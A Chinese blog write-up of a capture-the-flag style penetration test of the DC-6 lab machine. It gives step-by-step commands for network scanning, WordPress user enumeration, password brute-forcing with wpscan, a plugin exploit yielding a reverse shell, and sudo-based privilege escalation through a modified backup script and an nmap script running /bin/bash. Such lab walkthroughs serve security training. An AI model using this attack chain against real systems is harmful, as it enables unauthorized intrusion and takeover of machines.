对DC-6靶机进行渗透测试

环境搭建

靶机:DC-6,IP地址:192.168.52.139

测试机:Kali,IP地址:192.168.52.134

渗透测试

一. 信息收集

1、下载安装并启动DC-6

下载完解压后会有一个以.ova为后缀的文件,直接在VM中用”打开虚拟机”,在设置中修改网络适配器为NET模式。

在这里记一下DC-6的MAC地址,等下用的到。

启动DC-6时开机就好,因为不知道用户名和密码,所以登录不了

2、打开kali,查看kali的IP地址和子网掩码

因为DC-6和kali现在属于同一个网段,查看kali的IP和子网掩码是为了获得DC-6的网络号

DC-6的网络号是:192.168.52.0/24

3、使用netdiscover扫描主机

netdiscover -i eth0 -r 192.168.52.0/24

##netdiscover: -i 指定网卡 -r 指定网段

也可以使用nmap进行主机发现,

nmap -sP 192.168.52.0/24

在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址

或使用arp-scan -l命令拿到DC-6的IP地址

arp-scan -l

根据之前记下的MAC地址确定扫描到的主机哪一个是DC-6,因为MAC地址是主机的唯一标识。

获得DC-6靶机ip:192.168.52.139

4、使用nmap扫描DC-6,看有什么服务是可利用的(端口扫描)

root@kali:~# nmap -sV -A 192.168.52.139

-sV只扫描端口及其版本号

-A扫描端口的详细信息

发现目标机开放了22、80端口,但出现和dc2一样的问题:开启HTTP服务,输入ip无法连接服务器且IP变域名,说明DNS服务器无法解析该域名,可改hosts文件访问,添加ip对应域名

win10路径:C:\Windows\System32\drivers\etc\hosts

linux路径:etc/hosts

所以我们需要修改hosts文件内容,使域名wordy对应IP

vim /etc/hosts

#按i插入

192.168.52.139 wordy

使用kali中浏览器可以成功访问

5、我们以80端口作为突破口,访问80,查看基本信息

可以使用Firefox插件Wappalyzer,或者扫描网站目录,查看robots.txt等暴露出的信息,可以获取到网站相关信息

Wappalyzer相关信息:

发现是wordPress的博客

使用kali的wpscan来扫描一下用户名

wpscan --ignore-main-redirect --url 192.168.52.139 --enumerate u --force

wpscan -h可以查看各种参数以及定义,--enumerate 枚举 u 枚举用户名

枚举出来了五个账号分别是admin、graham、mark、sarah、jens

在桌面创建一个dc6user.txt的文本并写入

根据靶机官网提示

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt That should save you a few years. ;-)猜测爆破进入后台

需要使用kali下的usr/share/wordists/rockyou.txt密码字典进行爆破

进入到/usr/share/wordlists下你会发现有一个rockyou.txt.gz

需要解压才能得到rockyou.txt

gzip -c -d rockyou.txt.gz > /root/桌面/rockyou.txt

因为这个字典非常大,解压出来也是需要等一会才解压完,建议等个几分钟,如果在桌面打开rockyou.txt文档往下滑,看右边的进度条还在往下的话说明还在解压导出中。

因为密码字典太大,将密码筛选出来

cat rockyou.txt | grep k01 > dc6passw.txt

通过wpscan对已经扫描到的用户名和生成的密码字典对目标主机(dc-6)进行爆破

wpscan --url http://wordy/ -U dc6user.txt -P dc6passw.txt

得到账号:mark 密码:helpdesk01

扫描一下网站的目录看看从哪里登录

利用dirsearch进行网站目录扫描:

dirsearch -u 192.168.52.139 -e * -i 200

-i 状态码 只显示该状态码

-x 状态码 不显示该状态码

找到后台登入框

http://192.168.52.139/wp-login.php

二. 漏洞查找

打开登录界面输入账号密码进行登录,登入进去后发现使用了插件Activity monitor

想起刚开始进入域名时

使用searchsploit搜索一下该插件的漏洞

searchsploit是一款kali自带的搜索漏洞信息的模块,“searchsploit”是一个用于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。

Exploit-DB是一个漏洞库,kali中保存了一个该漏洞库的拷贝,利用上面提到的命令就可以查找需要的渗透模块,它将搜索所有的漏洞和shellcode而且该漏洞库是保存在本地的,在没有网络的情况下也可以使用

searchsploit Activity monitor

发现俩个wordpress的插件漏洞,之后将45274.html这个漏洞利用文件移动到桌面,有两种方法:

方法一、使用cp命令copy到桌面

45274.html这个漏洞文件的完整path是

/usr/share/exploitdb/exploits/php/webapps/45274.html

拷贝漏洞的详细信息到桌面,cp 要拷贝的文件 拷贝后的文件

cp /usr/share/exploitdb/exploits/php/webapps/45274.html /root/桌面/45274.html

方法二、利用searchsploit相关参数

尝试45274.html这个漏洞利用文件

searchsploit -m 45274.html

编辑45274.html这个漏洞利用文件,在箭头1修改为域名地址,箭头2修改为kali反弹shell命令

kali监听shellnc -lvvp 4444

使用浏览器打开45274.html这个漏洞利用文件,点击Submit request

kali反弹shell成功

三、提权

1、获得交互式shell

反弹shell成功,转换交互式shellpython -c 'import pty;pty.spawn("/bin/bash")'

找到具有suid的权限程序,发现都无法提权find / -perm -u=s -type f 2>/dev/null

2、发现新的用户和密码

进入home目录看看有没有账号可登录,发现有四个文件

逐一查看,最后在mark目录下的stuff文件夹下发现一个文本文件,打开后发现账户与密码:graham GSo7isUM1D4

3、使用graham用户的密码进行ssh登录

ssh graham@192.168.52.139

登录成功

4、提权,得到flag

看看当前用户拥有的权限,发现提示jens下有个backups.sh脚本,可以对backups.sh执行写操作

sudo -l

进入/home/jens目录,打开backups.sh,发现是一个解压脚本的命令

对脚本进行修改,将/bin/bash写入脚本

echo "/bin/bash" >> backups.sh

执行,切换到jens的shell

sudo -u jens ./backups.sh

进入到了jens的shell,使用sudo -l查看一下,又是一个提示,发现可以用root权限执行nmap,nmap在早期版本是可以用来提权的

在当前目录下创建一个脚本执行文件,将提权代码os.execute("/bin/sh")写入一个文件中。

echo "os.execute('/bin/bash')">demon.nse

nmap提权:以root的权限使用nmap执行demon.nse脚本

sudo nmap --script=/home/jens/demon.nse

提权成功,得到root权限

进入到root目录下,发现进入到root权限后输入的命令不会显示出来,必须敲下回车键后才会显示出来

cd /root

ls

cat /root/ theflag.txt

成功得到flag

四、DC-6总结

hosts定向

wpscan枚举账号(因为是WordPress博客)

wpscan账号密码爆破

dirb目录扫描得到后台登录地址

searchsploit搜索Activity monitor插件的相关漏洞,得到漏洞利用文件

运行漏洞利用文件,得到反弹shell

打开交互模式 python -c 'import pty;pty.spawn("/bin/bash")'

寻找具有suid的权限程序,提权未果

进入到home目录查看DC-6的用户目录

发现graham账号的密码,进行ssh登录成功

使用sudo -l查看权限

利用命令脚本转换到jens用户

发现可执行root的文件为nmap

创建一个nmap文件执行脚本

echo "os.execute('/bin/bash')">demon.nse

运行nmap执行脚本获取到root权限

sudo nmap --script=/home/jens/demon.nse

在root目录下拿到flag,转到root下之后执行完命令才会显示出来,输入的时候不会显示命令

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值